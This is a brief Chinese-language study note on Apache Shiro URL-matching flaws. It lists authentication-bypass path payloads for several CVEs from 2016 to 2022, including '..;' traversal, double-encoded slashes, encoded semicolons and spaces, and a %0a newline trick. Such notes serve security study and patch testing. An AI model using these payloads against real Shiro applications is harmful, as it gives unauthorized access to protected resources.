权限绕过原理
配置shiroConfig-Filter
里的URL是ant
格式,路径支持通配符表示。具体逻辑在AntPathMatcher#doMatch
1 | ?:匹配一个字符 |
payload总结
总结
CVE-2016-6802
在访问路径前加上/任意目录名/../,即可绕过访问CVE-2020-1957
/demo/..;/admin/index,其中demo为授权路径,admin/index为鉴权路径 /.;/hello/aaaaCVE-2020-11989
admin/page%252fABCDEFG其中admin/page为鉴权路径,ABCDEFG为随意字符串 /hello/a%25%32%66a /;/test/hello/aaaCVE-2020-13933
admin/%3BABCDEFG,其中admin为鉴权路径,ABCDEFG为随意字符串CVE-2020-17510
admin/%2eCVE-2020-17523
admin/%20,其中admin为鉴权路径CVE-2022-32532
特定条件下的漏洞利用:当shiro使用了RegExPatternMatcher进行路由匹配时,由于Java的正则Pattern.matches解析.默认是不匹配r或者n的,因此当path中带有%0a时可绕过正则匹配 /permit/a%0any